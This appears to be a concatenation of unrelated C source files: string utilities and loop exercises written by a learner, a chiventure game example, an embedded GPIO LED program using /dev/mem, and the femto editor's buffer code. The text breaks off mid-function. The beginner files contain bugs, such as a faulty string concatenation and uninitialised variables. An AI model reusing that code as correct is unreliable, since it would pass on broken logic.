int comparatorEquiJoin(struct AndEntry unit, char *firstString, char *secondString, char *tableEntry1, char *tableEntry2);
int attachTable(char *tableEntry1, char *tableEntry2, struct OrList *conditions);
bool is_table_present(char *table);
void cartesian_product(char * tableEntry1,char * tableEntry2);
void projection(char cols_name[200][200], int total_cols, char *table); |
C | // program to get list of number and sort them
#include<stdio.h>
#include <stdlib.h>
#include <string.h> //for gets() but gets is depreciated and no longer supported
//#include<math.h>
#define block 1 // just change value of letter to select corrosponding block while comparing
#if (block==1)
/// string functions
int strln(const char *s){
int i=0; for (i=0; *s; s++,i++);
// while (*s!=0){s++;i++;} //alt code
return i;
} // verified working counts till the null character . string is always terminated by null character
int str_ch_cnt(const char *s, char ch){ // function for character count
int ret_cnt=0; for (; *s; s++)if(*s==ch)ret_cnt++;
return ret_cnt;
} // not a good function for word count
int str_ch_loc(const char *s, char ch){ // returns the location of first occurance of char ch
int i=0; for (i=0; *s; s++,i++)if(*s==ch)return i;
return -1; // not found
} // not a good function for word count
int str_ch_all_loc(const char *s, char ch, int *p){ // returns all the position of char ch starting from count 1
int i=0,j=0;
for (;*s;s++,i++)if(*s==ch){*(p+j)=i+1;j++;} // detail see the while block
return j;
}
/*//debuged lines below
int str_ch_all_loc(const char *s, char ch, int *p){ // returns all the position of char ch starting from count 1
int i=0,j=0;
//printf ("\nrrrrrrrrrrrrrrrrrr %c ",ch); //debug line
while (*s){
//printf("\n %c",*s);
if(*s==ch){*(p+j)=i+1;
printf("\t %d p[%d]=%d",i ,j ,*(p+j));
j++;
} // *(p+j)=i+1 to make is possible to detect the first location
s++;i++; // check starting from 0
}
return j; // no of char found
}
*/
void strcp(const char *s, char *t){
for(;*s;s++,t++)*t=*s;*t='\0'; // put the terminating character in the target string as it is not copied by for loop
//while (*s){*t=*s;s++;t++;} *t='/0';
}
int strcm(const char *s,const char *t){// a better one than the below one simplified
for(;*s||*t;s++,t++) // which ever string is shorter terminates first // this avoids the mem fault
if (*t==*s) continue; // terminating string containn null char one exp runs out and failswhen this statement fails
else return (*s-*t);
}
/*//int strcm(const char *s, char *t){
int flag;
for(;*s||*t;s++,t++){ // which ever string is shorter terminates first // this avoids the mem fault
if (*t==*s);// simply continue the loop do nothing, can put continue too but is unecessary
else if (*s>*t)
return 1; // first argument is greater than the 2nd argument
else
return -1; // vice-versa
}
if (*t==*s) return 0; // check the lenght //both are identical
else if (*s>*t)
return 1; // first argument is greater than the 2nd argument
else
return -1; //
}//*/
void strct(char *t, const char *s){ // concatanates source string to target string *t+*s
while (*t){t++;}
t--; //increment t till end of string. it should contain null char now hence decrement it
for (;*s;s++,t++){*t=*s;}
*t='\0'; //copy the char from s to the end of t set null char at end of t
}
int str_wrd_cnt(const char *s){
int ret_cnt=0; for (; *s; s++){if(*s==' ')ret_cnt++; for (;*s==' ';s++);} // second for is to skip consequative white space
return ret_cnt+1; // no of words equal 1 more than count of white space
} // not a good function for word count
/***********************************************************************************/
void read_str(char *p,int sz){
printf("enter a string of max size %d :",sz);
// scanf("%[^\n]s ",p);scanf("%c");
fgets(p,sz,stdin);
}
void sort_str(char **p,int rows){
char *tmp;
for (int i=0;i<rows;i++){
for (int j=i+1;j<rows;j++){
if ( strcm(*(p+i),*(p+j))>0){
//printf(" srtcm arg1 %s arg2 %s --> %d\n",*(p+i-1),*(p+j),strcm(*(p+i-1),*(p+j)));
tmp=*(p+i);
//printf("\n tmp %s",tmp);
*(p+i)=*(p+j);
//printf(" \n srtcm *(p+i-1) %s *(p+j) %s --> %d\n",*(p+i-1),*(p+j));
*(p+j)=tmp;
} //printf("\n *(p+j) %s", *(p+j));
}// }
}
}
void display_str(char *p){printf("\n%s",p);}// function to display str
// example usage ln=fnd_sbstr(str,sub,&loc[0]); int *p requires address // needs fixing
int fnd_sbstr( char *s, char *t, int *p){// returns all the position of start of sub str location starting from count 1
int i=0,j=0; char *x ,*y;
int ln=strln(t); printf("\t\t\t\tln %d\n\n",ln);
for(;*s;s++,i++){
for(x=s,y=t;*y;y++,x++){
if(*y==*x && *(y+1)!='\0') { printf("in != *(y+1)=%c *y:%c %c:*x ",*(y+1), *y, *x);
}
else
if(*y==*x && *(y+1)=='\0'){ printf("!= *(y+1)=%c *y:%c %c:*x ", *(y+1), *y, *x); printf(" i=%d j=%d \n",i,j);
*(p+j)=i+1;
printf(" *(p+j)=%c i=%d j=%d \n",*(p+j),i,j);
j++;
}
// set starting location in int *p array at p[0]= location value is count place ie index+1
// else break;
}
}
return j; // gives no of finds
}
/*
int str_ch_all_loc(const char *s, char ch, int *p){ // returns all the position of char ch starting from count 1
int i=0,j=0;
for (;*s;s++,i++)if(*s==ch){*(p+j)=i+1;j++;} // detail see the while block
return j;
}*/
#define MAX_LIMIT 50
int main(){
char str[MAX_LIMIT];
char str2[MAX_LIMIT];
char sub[MAX_LIMIT];
int loc[MAX_LIMIT]={0};// all the values are 0 set so we can distinguish between found location
int ln=0,n;
printf("enter the sentence\n");
read_str(str,MAX_LIMIT);
printf("enter the substring\n");
read_str(sub,MAX_LIMIT);
ln=fnd_sbstr(str,sub,&loc[0]);printf("\nrrrrrrrrrrrrrr%d loc %d",ln, loc[1]);
strcp(str,str2); // perserve orginal string
for (int i=0;i<n;i++ ) {printf ("\n%d",loc[i]);
for (int i=0;loc[i]!=0;i++ ) {printf ("\n%d",loc[i]);}
for(int j=0;sub[j]!='\0';j++) {n= loc[i]+j-1; str2[n]='*';}
}
display_str(str);
display_str(str2);
//printf("\n ");
return 0;
}
#endif
#if (block==2) // refined
#endif
#if (block==3) // alternative logic
#endif
|
C | /*
* This example program runs a full instance of chiventure with an in-memory game,
* and where the CLI is monkeypatched to accept functions that model player stats and effects
* We we unable to completely integrate stats and effect completely into the game, but they
* are still functional.
*
* Commands created in this example program:
*
* - PLYR-STATS: Print player stats
* - PLYR-EFFECTS: Print player effects
* - GAME-STATS: Print global stats
* - GAME-EFFECTS: Print global effects
* - ADD-EFFECT: Add a specified effect to a player
* - ADD-STAT: Add a specified stat to a player
* - ITEM-EFFECT: Print all the effects an item will have
* - UPGRADE: Increase the max of a specified stat by an arbitrary amount
*
*/
#include <stdio.h>
#include <cli/operations.h>
#include "common/ctx.h"
#include "ui/ui.h"
#include "game-state/stats.h"
#define MIN_STRING_LENGTH 2
#define MAX_NAME_LENGTH 70
const char *banner = "THIS IS AN EXAMPLE PROGRAM";
/* Creates a poison item with an effect */
item_t *create_poison(effects_global_t *p, stats_t *stat)
{
item_t *poison = item_new("POISON","This is poison.",
"This is poison and will harm your health. DO NOT TAKE OR PICKUP.");
agent_t *agent_poison = malloc(sizeof(agent_t));
agent_poison->item = poison;
agent_poison->npc = NULL;
stat_effect_t *poisoned = stat_effect_new(p);
stat_mod_t *mod1 = stat_mod_new(stat, 0.5, 50);
LL_APPEND(poisoned->stat_list, mod1);
add_effect_to_item(agent_poison->item, poisoned);
add_action(agent_poison, "TAKE", "The item has been taken.",
"The item does not exist in the game.");
return agent_poison->item;
}
/* Creates a potion item with effect */
item_t *create_potion(effects_global_t *p, stats_t *stat)
{
item_t *potion = item_new("POTION","This is a health potion.",
"This potion will increase your health. Feel free to take it.");
agent_t *agent_potion = malloc(sizeof(agent_t));
agent_potion->item = potion;
agent_potion->npc = NULL;
stat_effect_t *healed = stat_effect_new(p);
stat_mod_t *mod = stat_mod_new(stat, 1.25, 25);
LL_APPEND(healed->stat_list, mod);
add_effect_to_item(agent_potion->item, healed);
add_action(agent_potion, "TAKE", "The item has been taken.",
"The item does not exist in the game.");
return agent_potion->item;
}
/* Creates an elixir item with effects */
item_t *create_elixir(effects_global_t *p1, effects_global_t *p2,
stats_t *s1, stats_t *s2, stats_t *s3, stats_t *s4)
{
item_t *elixir = item_new("ELIXIR","This is an elixir.",
"This is an elixir. Effects: energize and stun.");
agent_t *agent_elixir = malloc(sizeof(agent_t));
agent_elixir->item = elixir;
agent_elixir->npc = NULL;
stat_effect_t *stunned = stat_effect_new(p1);
stat_mod_t *mod1 = stat_mod_new(s1, 0.75, 200);
stat_mod_t *mod2 = stat_mod_new(s2, 0.9, 200);
LL_APPEND(stunned->stat_list, mod1);
LL_APPEND(stunned->stat_list, mod2);
add_effect_to_item(agent_elixir->item, stunned);
stat_effect_t *boost = stat_effect_new(p2);
stat_mod_t *mod3 = stat_mod_new(s3, 1.5, 10);
stat_mod_t *mod4 = stat_mod_new(s4, 1.25, 10);
LL_APPEND(boost->stat_list, mod3);
LL_APPEND(boost->stat_list, mod4);
add_effect_to_item(agent_elixir->item, boost);
add_action(agent_elixir, "TAKE", "The item has been taken.",
"The item does not exist in the game.");
return agent_elixir->item;
}
/* Creates a sample in-memory game */
chiventure_ctx_t *create_sample_ctx()
{
game_t *game = game_new("Welcome to Chiventure!");
/* Create two rooms (room1 and room2). room1 is the initial room */
room_t *room1 = room_new("room1", "This is room 1", "Verily, this is the first room.");
room_t *room2 = room_new("room2", "This is room 2", "Truly, this is the second room.");
add_room_to_game(game, room1);
add_room_to_game(game, room2);
game->curr_room = room1;
create_connection(game, "room1", "room2", "NORTH");
/* Create context */
chiventure_ctx_t *ctx = chiventure_ctx_new(game);
game = ctx->game;
/* Create global effects and add to game */
effects_global_t *poisoned, *stunned, *healed, *boost;
poisoned = global_effect_new("POISONED");
stunned = global_effect_new("STUNNED");
healed = global_effect_new("HEALED");
boost = global_effect_new("ENERGIZED");
add_effect_to_game(game, boost);
add_effect_to_game(game, stunned);
add_effect_to_game(game, poisoned);
add_effect_to_game(game, healed);
/* Create global stats and add to game */
stats_global_t *health = stats_global_new("HEALTH", 10000);
stats_global_t *xp = stats_global_new("XP", 10000);
add_stat_to_game(game, health);
add_stat_to_game(game, xp);
stats_global_t *speed = stats_global_new("SPEED", 10000);
add_stat_to_game(game, speed);
stats_global_t *stamina = stats_global_new("STAMINA", 10000);
add_stat_to_game(game, stamina);
/* Create player stats */
stats_t *s1 = stats_new(health, 100);
stats_t *s2 = stats_new(xp, 100);
stats_t *s3 = stats_new(speed, 75);
stats_t *s4 = stats_new(stamina, 100);
/* Create an elixir item and add it to game and room1*/
item_t *elixir = create_elixir(stunned, boost, s1, s2, s3, s4);
add_item_to_game(game, elixir);
add_item_to_room(room1, elixir);
/* Create a poison item and add it to game and room1 */
item_t *poison = create_poison(poisoned, s1);
add_item_to_game(game, poison);
add_item_to_room(room1, poison);
/* Create a potion item and add it to game and room1 */
item_t *potion = create_potion(healed, s1);
add_item_to_room(room1, potion);
add_item_to_game(game, potion);
/* Add stats to player hash table */
stats_hash_t *sh = NULL;
effects_hash_t *eh = NULL;
add_stat(&sh, s1);
add_stat(&sh, s2);
add_stat(&sh, s3);
class_t *class = class_new("class", "short", "long",
NULL, sh, eh);
game->curr_player->player_class = class;
return ctx;
}
char *print_global_stats(char *tokens[TOKEN_LIST_SIZE], chiventure_ctx_t *ctx)
{
game_t *game = ctx->game;
if (tokens[1] != NULL)
{
return "I do not know what you mean.";
}
stats_global_hash_t *s = game->curr_stats;
stats_global_t *stat, *tmp;
int size = MIN_STRING_LENGTH + (MAX_NAME_LENGTH * HASH_COUNT(s));
char list[size];
char line[size];
strcpy(list, "");
HASH_ITER(hh, s, stat, tmp)
{
sprintf(line, "%s [max: %.2f]\n", stat->name, stat->max);
strcat(list, line);
}
char *display = strdup(list);
return display;
}
char *print_global_effects(char *tokens[TOKEN_LIST_SIZE], chiventure_ctx_t *ctx)
{
game_t *game = ctx->game;
if (tokens[1] != NULL)
{
return "I do not know what you mean.";
}
effects_global_hash_t *hash = game->all_effects;
effects_global_t *effect, *tmp;
int size = MIN_STRING_LENGTH + (MAX_NAME_LENGTH * HASH_COUNT(hash));
char list[size];
char line[size];
strcpy(list, "");
HASH_ITER(hh, hash, effect, tmp)
{
sprintf(line, "%s\n", effect->name);
strcat(list, line);
}
char *display = strdup(list);
return display;
}
char *print_player_stats(char *tokens[TOKEN_LIST_SIZE], chiventure_ctx_t *ctx)
{
game_t *game = ctx->game;
if (tokens[1] != NULL)
{
return "I do not know what you mean.";
}
return display_stats(game->curr_player->player_class->base_stats);
}
char *print_player_effects(char *tokens[TOKEN_LIST_SIZE], chiventure_ctx_t *ctx)
{
game_t *game = ctx->game;
if (tokens[1] != NULL)
{
return "I do not know what you mean.";
}
return display_stat_effects(game->curr_player->player_class->effects);
}
char *print_item_effects(char *tokens[TOKEN_LIST_SIZE], chiventure_ctx_t *ctx)
{
game_t *game = ctx->game;
if (tokens[2] != NULL)
{
return "I do not know what you mean.";
}
if (tokens[1] == NULL)
{
return "You must identify an item\n";
}
item_t *item;
HASH_FIND(hh, game->all_items, tokens[1], strlen(tokens[1]), item);
if (item == NULL) {
return "The item is in inventory, so its effect cannot be read.";
}
return display_stat_effects(item->stat_effects);
}
char *add_player_stat(char *tokens[TOKEN_LIST_SIZE], chiventure_ctx_t *ctx)
{
game_t *game = ctx->game;
if (tokens[2] != NULL)
{
return "I do not know what you mean.";
}
if (tokens[1] == NULL)
{
return "You must identify a stat to add\n";
}
stats_global_t *global;
HASH_FIND(hh, game->curr_stats, tokens[1], strlen(tokens[1]), global);
if (global == NULL)
{
return "This stat does not exist in the game.";
}
stats_t *stat = stats_new(global, 100);
add_stat(&game->curr_player->player_class->base_stats, stat);
return "The stat has been added.";
}
char *add_player_effect(char *tokens[TOKEN_LIST_SIZE], chiventure_ctx_t *ctx)
{
game_t *game = ctx->game;
if (tokens[2] != NULL)
{
return "I do not know what you mean.";
}
if (tokens[1] == NULL)
{
return "You must identify an effect to add\n";
}
effects_global_t *global;
HASH_FIND(hh, game->all_effects, tokens[1], strlen(tokens[1]), global);
if (global == NULL)
{
return "This stat does not exist in the game.";
}
stat_effect_t *effect = stat_effect_new(global);
add_stat_effect(&game->curr_player->player_class->effects, effect);
return "The effect has been added.";
}
char *upgrade_command(char *tokens[TOKEN_LIST_SIZE], chiventure_ctx_t *ctx)
{
game_t *game = ctx->game;
if (tokens[2] != NULL)
{
return "I do not know what you mean.";
}
if (tokens[1] == NULL)
{
return "You must identify a stat to upgrade\n";
}
int rc = change_stat_max(game->curr_player->player_class->base_stats, tokens[1], 100);
if (rc == FAILURE)
{
return "This player does not have this stat.";
}
return "The stat has been upgraded.";
}
int main(int argc, char **argv)
{
chiventure_ctx_t *ctx = create_sample_ctx();
/* Monkeypatch the CLI to add the new operations */
add_entry("PLYR-STATS", print_player_stats, NULL, ctx->cli_ctx->table);
add_entry("PLYR-EFFECTS", print_player_effects, NULL, ctx->cli_ctx->table);
add_entry("GAME-STATS", print_global_stats, NULL, ctx->cli_ctx->table);
add_entry("GAME-EFFECTS", print_global_effects, NULL, ctx->cli_ctx->table);
add_entry("ADD-STAT", add_player_stat, NULL, ctx->cli_ctx->table);
add_entry("ADD-EFFECT", add_player_effect, NULL, ctx->cli_ctx->table);
add_entry("ITEM-EFFECT", print_item_effects, NULL, ctx->cli_ctx->table);
add_entry("UPGRADE", upgrade_command, NULL, ctx->cli_ctx->table);
/* Start chiventure */
start_ui(ctx, banner);
return 0;
}
|
C | /**
* @file main.c
* @brief Questo è un esempio di utilizzo della libreria @ref mygpio.h sul S.O GNU/Linux in esecuzione sulla board Zybo .
* Per utilizzare la libreria vi è bisogno dell'indirizzo a cui è mappata la periferica.
* Tramite un meccanismo di mapping sarà possibile ottenere un indirizzo virtuale, appartenente allo spazio di indrizzamento del processo, per comunicare con la periferica.
* @authors <b> Giorgio Farina</b> <[email protected]> <br>
* <b> Luca Giamattei</b> <[email protected]> <br>
* <b> Gabriele Previtera</b> <[email protected]> <br>
* @date 15/06/2020
*
* @details E' possibile l'utilizzo delle funzioni della libreria mygpio.h grazie a un mapping che viene fatto della pagina fisica,
* a cui è mappata la periferica GPIO custom, a una virtuale nello spazio di indirizzamento del processo.
* Tale esempio non può fare uso delle interruzione non essendovi alcun modulo kernel
* ad occuparsi della periferica; per tale motivo questo modo di operare è definito driver no driver.
*
* @{
*/
/***************************** Include Files *******************************/
#include "mygpio.h"
#include "utils.h"
#include "config.h"
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
/***************************** Functions prototype *******************************/
/**
* @brief Stampa un messaggio che fornisce indicazioni sull'utilizzo del programma
*/
void howto(void);
/**
* @brief Effettua il parsing degli argomenti
*
* @details Il parsing viene effettuato usando la funzione getopt().
* @code
* #include <unistd.h>
* int getopt(int argc, char * const argv[], const char *optstring);
* @endcode
* Per maggiori informazioni: https://linux.die.net/man/3/getopt .
*
** <h4>Parametri riconosciuti</h4>
* I parametri riconosciuti sono:
* - 'w' : operazione di scrittura, seguito dal valore che si intende scrivere, in esadecimale;
*/
int parse_args(int argc, char**argv, uint32_t *val);
/***************************** MAIN *********************************************/
/**
* @brief Main di un semplice programma di test per accendere i led usando una
* periferica GPIO costum
* @details
* Riceve come parametro di ingresso l'opzione -w e il valore in hex da scrivere
* sul registro write dei led.
* Uso: led_noDriver -w hex
*/
int main(int argc, char** argv){
uint32_t value;
if(parse_args(argc, argv, &value) == -1){
return -1;
}
//Apertura del file che rappresenta "la memoria fisica"
int descriptor = open ("/dev/mem", O_RDWR);
if (descriptor < 1) {
perror(argv[0]);
return -1;
}
void* vrt_page_addr;
// indirizzo virtuale del device gpio nello spazio d'indirizzamento del processo
void* vrt_gpio_addr = configure_no_driver(descriptor,&vrt_page_addr,ADDR_LED);
//Inizializzazione del device in modalità scrittura
myGPIO* led = myGPIO_init(vrt_gpio_addr);
myGPIO_set_mode(led, GPIO_PIN_0|GPIO_PIN_1|GPIO_PIN_2|GPIO_PIN_3, WRITE_MODE);
printf("Sto per scrivere sui led il valore %08x:", value);
myGPIO_write_mask(led, value);
//rimozione della pagain di memoria e chiusura del file /dev/mem
munmap(vrt_page_addr, sysconf(_SC_PAGESIZE));
close(descriptor);
return 0;
}
/***************************** Functions definition *******************************/
void howto(void) {
printf("Uso:\n");
printf("\tled_noDriver -w <hex-value> \n");
}
int parse_args(int argc, char**argv, uint32_t*val){
int par;
if(argc > 2){
while((par = getopt(argc, argv, "w:")) != -1) {
switch (par) {
case 'w' :
*val = strtoul(optarg, NULL, 0);
break;
default :
printf("%c: Parametro Sconosciuto.\n", par);
howto();
return -1;
}
}
}else{
howto();
}
return 0;
}
/** @} */
|
C | /* buffer.c, femto, Hugh Barney, Public Domain, 2017 */
#include <assert.h>
#include <string.h>
#include "header.h"
void buffer_init(buffer_t *bp)
{
bp->b_mark = NOMARK;
bp->b_point = 0;
bp->b_paren = NOPAREN;
bp->b_cpoint = 0;
bp->b_page = 0;
bp->b_epage = 0;
bp->b_size = 0;
bp->b_psize = 0;
bp->b_flags = 0;
bp->b_cnt = 0;
bp->b_buf = NULL;
bp->b_ebuf = NULL;
bp->b_gap = NULL;
bp->b_egap = NULL;
bp->b_next = NULL;
bp->b_bname[0] = '\0';
bp->b_fname[0] = '\0';
bp->b_utail = NULL;
bp->b_ucnt = -1;
}
void zero_buffer(buffer_t *bp)
{
/* reset the gap, make it the whole buffer */
bp->b_gap = bp->b_buf;
bp->b_egap = bp->b_ebuf;
bp->b_point = 0; /* goto start of buffer */
bp->b_mark = NOMARK;
}
/* get the size of the document in the buffer */
point_t document_size(buffer_t *bp)
{
return (bp->b_ebuf - bp->b_buf) - (bp->b_egap - bp->b_gap);
}
int buffer_is_empty(buffer_t *bp)
{
if (bp->b_gap == bp->b_buf && bp->b_egap == bp->b_ebuf)
return 1;
return 0;
}
/*
* Find a buffer, by buffer name. Return a pointer to the buffer_t
* structure associated with it. If the buffer is not found and the
* "cflag" is TRUE, create it.
*/
buffer_t *find_buffer(char *bname, int cflag)
{
buffer_t *bp = NULL;
buffer_t *sb = NULL;
bp = bheadp;
while (bp != NULL) {
if (strcmp(bname, bp->b_bname) == 0) {
return (bp);
}
bp = bp->b_next;
}
if (cflag != FALSE) {
if ((bp = (buffer_t *) malloc (sizeof (buffer_t))) == NULL)
return (0);
buffer_init(bp);
assert(bp != NULL);
/* find the place in the list to insert this buffer */
if (bheadp == NULL) {
bheadp = bp;
} else if (strcmp(bheadp->b_bname, bname) > 0) {
/* insert at the begining */
bp->b_next = bheadp;
bheadp = bp;
} else {
for (sb = bheadp; sb->b_next != NULL; sb = sb->b_next)
if (strcmp (sb->b_next->b_bname, bname) > 0)
break;
/* and insert it */
bp->b_next = sb->b_next;
sb->b_next = bp;
}
safe_strncpy(bp->b_bname, bname, NBUFN);
if (bp->b_bname[0] == '*')
add_mode(bp, B_SPECIAL); /* special buffers start with * in the name */
else if (global_undo_mode)
add_mode(bp, B_UNDO);
/* a newly created buffer needs to have a gap otherwise it is not ready for insertion */
if (!growgap(bp, MIN_GAP_EXPAND))
msg(f_alloc);
}
return bp;
}
/*
* Given a file name, either find the buffer it uses, or create a new
* empty buffer to put it in.
*/
buffer_t *find_buffer_by_fname(char *fname)
{
buffer_t *bp;
char bname[NBUFN];
bp = bheadp;
for (bp = bheadp; bp != NULL; bp = bp->b_next)
if (strcmp(fname, bp->b_fname) == 0)
return (bp);
make_buffer_name(bname, fname);
make_buffer_name_uniq(bname);
bp = find_buffer(bname, TRUE);
return (bp);
}
void add_mode(buffer_t *bp, buffer_flags_t mode)
{
/* we dont allow undo mode for special buffers */
if ( mode == B_UNDO && (bp->b_flags & B_SPECIAL))
return;
bp->b_flags |= mode;
}
void delete_mode(buffer_t *bp, buffer_flags_t mode)
{
bp->b_flags &= ~mode;
}
/*
* Unlink from the list of buffers
* Free the memory associated with the buffer
* assumes that buffer has been saved if modified
*/
int delete_buffer(buffer_t *bp)
{
buffer_t *sb = NULL;
/* we must have switched to a different buffer first */
assert(bp != curbp);
/* if buffer is the head buffer */
if (bp == bheadp) {
bheadp = bp->b_next;
} else {
/* find place where the bp buffer is next */
for (sb = bheadp; sb->b_next != bp && sb->b_next != NULL; sb = sb->b_next)
;
assert(sb->b_next == bp || sb->b_next == NULL);
sb->b_next = bp->b_next;
}
/* now we can delete */
free_undos(bp->b_utail);
free(bp->b_buf);
free(bp);
return TRUE;
}
void next_buffer()
{
assert(curbp != NULL);
assert(bheadp != NULL);
disassociate_b(curwp);
curbp = (curbp->b_next != NULL ? curbp->b_next : bheadp);
associate_b2w(curbp,curwp);
}
char* get_buffer_name(buffer_t *bp)
{
assert(bp->b_bname != NULL);
return bp->b_bname;
}
char* get_buffer_filename(buffer_t *bp)
{
assert(bp->b_fname != NULL);
return bp->b_fname;
}
char* get_buffer_modeline_name(buffer_t *bp)
{
if (bp->b_fname[0] != '\0')
return bp->b_fname;
return bp->b_bname;
}
int count_buffers()
{
buffer_t* bp;
int i;
for (i=0, bp=bheadp; bp != NULL; bp = bp->b_next)
i++;
return i;
}
int modified_buffers()
{
buffer_t* bp;
for (bp=bheadp; bp != NULL; bp = bp->b_next)
if (!(bp->b_flags & B_SPECIAL) && bp->b_flags & B_MODIFIED)
return TRUE;
return FALSE;
}
int delete_buffer_byname(char *bname)
{
buffer_t *bp = find_buffer(bname, FALSE);
int bcount = count_buffers();
if (bp == NULL) return FALSE;
/* if last buffer, create a scratch buffer */
if (bcount == 1) {
bp = find_buffer(str_scratch, TRUE);
}
/* switch out of buffer if we are the current buffer */
if (bp == curbp)
next_buffer();
assert(bp != curbp);
delete_buffer(bp);
return TRUE;
}
int select_buffer(char *bname)
{
buffer_t *bp = find_buffer(bname, TRUE);
assert(bp != NULL);
assert(curbp != NULL);
disassociate_b(curwp);
curbp = bp;
associate_b2w(curbp,curwp);
return TRUE;
}
/* a version of save buffer specifically for calling by lisp */
int save_buffer_byname(char *bname)
{
buffer_t *bp = find_buffer(bname, FALSE);
if (bp == NULL) return FALSE;
if (bp->b_fname[0] == '\0') return FALSE;
save_buffer(bp, bp->b_fname);
return TRUE;
}
char *get_current_bufname()
{
assert(curbp != NULL);
return get_buffer_name(curbp);
}
void list_buffers()
{
buffer_t *bp;
buffer_t *list_bp;
char mod_ch, over_ch;
char blank[] = " ";
static char report_line[NAME_MAX + 40];
char *bn;
char *fn;
list_bp = find_buffer(str_buffers, TRUE);
disassociate_b(curwp); /* we are leaving the old buffer for a new one */
curbp = list_bp;
associate_b2w(curbp, curwp);
clear_buffer(); /* throw away previous content */
/* 12 1234567 12345678901234567 */
insert_string("CO Size Buffer File\n");
insert_string("-- ------- ------ ----\n");
bp = bheadp;
while (bp != NULL) {
if (bp != list_bp) {
mod_ch = ((bp->b_flags & B_MODIFIED) ? '*' : ' ');
over_ch = ((bp->b_flags & B_OVERWRITE) ? 'O' : ' ');
bn = (bp->b_bname[0] != '\0' ? bp->b_bname : blank);
fn = (bp->b_fname[0] != '\0' ? bp->b_fname : blank);
sprintf(report_line, "%c%c %7d %-16s %s\n", mod_ch, over_ch, bp->b_size, bn, fn);
insert_string(report_line);
}
bp = bp->b_next;
}
}
|
C | #include<stdio.h>
// program to print fst N natural no. taken by user
/*
int main()
{
int n,i;
printf("Enter the number:");
scanf("%d",&n);
i=1;
do{
printf("\n%d",i);
i++;
}while(i<=n);
return 0;
}*/
// program to print fst N natural no. in reverse order taken by user
/*int main()
{
int n,i;
printf("Enter the number:");
scanf("%d",&n);
i=n;
do{
printf("\n%d",i);
i--;
}while(i>=1);
return 0;
}*/
//program to print fst 10 even natural number.
/*
int main()
{
int i,n;
printf("fst 10 natural even no.");
scanf("%d",&n);
i=1;
while(i<=n){
printf("\n%d",i*2);
i++;
}
return 0;
}*/
//program to print fst 10 odd natural number.
/*
int main()
{
int i,n;
printf("fst 10 natural odd no.");
scanf("%d",&n);
i=1;
do{
printf("\n%d",(i*2)-1);
i++;
}while(i<=n);
return 0;
}*/
//program to print fst 10 even natural number in reverse order.
/*
int main()
{
int i,n;
printf("fst 10 natural even no.");
scanf("%d",&n);
i=10;
while(i>=1){
printf("\n%d",i*2);
i--;
}
return 0;
}*/
//program to print fst 10 odd natural number in reverse order.
/*
int main()
{
int i,n;
printf("fst 10 natural odd no.");
scanf("%d",&n);
i=15;
do{
printf("\n%d",(i*2)-1);
i--;
}while(i>=1);
return 0;
}*/
// program to print table of users choice
/*
int main()
{
int n,i;
printf("Table of:");
scanf("%d",&n);
i=1;
while(i<=10){
printf("\n%d*%d=%d",n,i,n*i);
i++;
}
return 0;
}*/
//program to calculate sum of fst N natural no.
/*
int main()
{
int i,n,s=0;
printf("Enter a no:");
scanf("%d",&n);
for(i=1;i<=n;i++){
s=s+i;
}
printf("sum is equal to:%d",s);
return 0;
}*/
//program to calculate product of fst N natural no.
/*
int main()
{
int i,n,s=1;
printf("Rnter a no:");
scanf("%d",&n);
i=1;
do{
s=s*i;
i++;
}while(i<=n);
printf("\nproduct is %d:",s);
return 0;
}*/
//program to calculate factorial of any no.
/*
int main()
{
int n,f=1;
printf("Enter any number:");
scanf("%d",&n);
do{
f=f*n;
n--;
}while(n>=1);
printf("factorial is %d",f);
return 0;
}
*/
//program to calculate sum of fst N even no.
/*
int main()
{
int i,n,s=0;
printf("Enter any number:");
scanf("%d",&n);
for(i=1;i<=n;i++){
s=s+(i*2);
}
printf("sum of fst %d even number is = %d ",n,s);
return 0;
}
*/
//program to calculate sum of fst N odd no.
/*
int main()
{
int i,n,s=0;
printf("Enter any number:");
scanf("%d",&n);
for(i=1;i<=n;i++){
s=s+((i*2)-1);
}
printf("sum of fst %d odd number is = %d ",n,s);
return 0;
}
*/
//program to calculate x power y;
/*
int main()
{
int x,y,p=1,i;
printf("Enter a number:");
scanf("%d",&x);
printf("And its power:");
scanf("%d",&y);
i=1;
while(i<=y){
p=p*x;
i++;
}
printf("product is %d",p);
return 0;
}*/
//program to calculate no. of digit in a given number
/*
int main()
{
int x;
int count;
printf("Enter a number:");
scanf("%d",&x);
while(x!=0){
x=x/10;
count++;
}
printf(" total digit is %d",count);
return 0;
}*/
//program to calculate sum of digit in a given number
/*
int main()
{
int x,r,s=0;
printf("Enter a number:");
scanf("%d",&x);
while(x!=0){
r=x%10;
s=s+r;
x=x/10;
}
printf("sum of digit is %d",s);
return 0;
}*/
//program to reverse a number
/*
int main()
{
int n,r=0,s;
printf("Enter a number :");
scanf("%d",&n);
while(n!=0){
s=n%10;
r=(r*10)+s;
n=n/10;
}
printf("reverse number is %d",r);
return 0;
}*/
// WAP to print all armstrong no. under 1000
/*
int main()
{
int n,s,r,x;
printf("Armstrong numbers are:\n");
for(n=1;n<=1000;n++){
s=0;
x=n;
while(x!=0){
r=x%10;
s=s+r*r*r;
x=x/10;
}
if(s==n)
printf("%d\n",n);
}
return 0;
}*/
//program to calculate LCM of two no.
/*
int main()
{
int x,y,L;
printf("Enter the value of x & y\n");
scanf("%d%d",&x,&y);
//for(L=x>y?x:y;L<=x*y;L=L+(x>y?x:y)) more efficient
for(L=1;L<=x*y;L++)
if(L%x==0&&L%y==0)
break;
printf("LCM of %d and %d is %d\n",x,y,L);
return 0;
}*/
//program to calculate HCF of two no
/*
int main(){
int x,y,H;
printf("Enter the value of x & y\n");
scanf("%d%d",&x,&y);
for(H=x<y?x:y;H>=1;H--)
if(x%H==0&&y%H==0)
break;
printf("HCF is %d\n",H);
return 0;
}*/
// program to check a given no. is prime or not(bad)
/*
int main()
{
int n,i;
printf("Enter a number:");
scanf("%d",&n);
//for(i=1;i<=n;i++)
if(n=2)
printf("%d is the prime no.",n);
break;
if(n=3)
printf("%d is the prime no.",n);
if(n%2==0)
printf("%d not a prime no.",n);
//break;
else if(n%3==0)
printf("%dnot a prime no.",n);
//break;
else
printf("%d is the prime no.",n);
return 0;
} */ // or
/*
int main()
{
int n,i;
printf("Enter a number:");
scanf("%d",&n);
for(i=2;i<=n-1;i++)
if(n%i==0)
break;
if(n==i)
printf("%d is a prime no.",n);
else
printf("%d is not a prime no.",n);
return 0;
}*/
// print all prime number b|n two number
/*
int main()
{
int l,u,x,i;
printf("Enter the value of l & u:");
scanf("%d%d",&l,&u);
